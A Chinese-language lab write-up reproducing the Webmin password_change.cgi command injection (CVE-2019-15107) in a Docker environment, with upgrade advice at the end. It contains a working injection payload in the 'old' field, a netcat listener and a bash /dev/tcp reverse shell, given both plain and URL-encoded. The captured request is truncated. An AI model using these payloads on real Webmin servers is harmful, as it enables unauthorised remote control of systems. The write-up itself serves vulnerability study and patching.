漏洞编号
CVE-2019-15107
webmin介绍
什么是webmin
- Webmin是目前功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作http://www.webmin.com/
- Webmin 是一个用 Perl 编写的基于浏览器的管理应用程序。
- 是一个基于Web的界面,用于Unix的系统管理。使用任何支持表和表单的浏览器,可以设置用户帐户,Apache,DNS,文件共享等。
为什么用webmin
- Linux系统因其高效稳定而受到广大用户的推崇与青睐,然后其管理有一定复杂性和学习周期。为了降低 Linux系统的管理难度,有时候会对公司内的Linux主机或VPS系统预装了网页管理工具webmin
漏洞描述
该漏洞允许恶意第三方在缺少输入验证的情况下而执行恶意代码。
该漏洞由于password_change.cgi文件在重置密码功能中存在一个代码执行漏洞,该漏洞允许恶意第三方在缺少输入验证的情况下而执行恶意代码。
影响版本
Webmin<=1.920
漏洞复现
环境搭建
使用docker搭建
进行登录:https://127.0.0.1:10000/
漏洞验证
https://192.168.16.176:10000/passwore_change.cgi
使用hackBar的post模式输入:user=rootxx&pam=&expired=2&old=text|ls&new1=test2&new2=test2
使用bp抓包
获得反弹shell
kali虚拟机中输入
nc -lvvp 666
bash -c "bash -i >& /dev/tcp/192.168.16.176/666 0>&1"url编码%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%36%2e%31%37%36%2f%36%36%36%20%30%3e%26%31%22
将反弹shell脚本url编码过后替换数据包中的old
POST /password_change.cgi HTTP/1.1Host: 192.168.16.176:10000Cookie: redirect=1; testing=1Content-Length: 62Cache-Control: max-age=0Sec-Ch-Ua: "Not" />
获得shell成功
附带文件
wireshark
加固建议
直接升级到1.930版本
临时修补方案,可以定位漏洞代码所在的行,然后剔除后在github上下载
password_change.cgi
文件
参考信息
Vulhub - Docker-Compose file for vulnerability environment
Webmin 远程命令执行漏洞(CVE-2019-15107)
webmin远程命令执行漏洞(CVE-2019-15107)
漏洞分类
Webmin 远程命令执行漏洞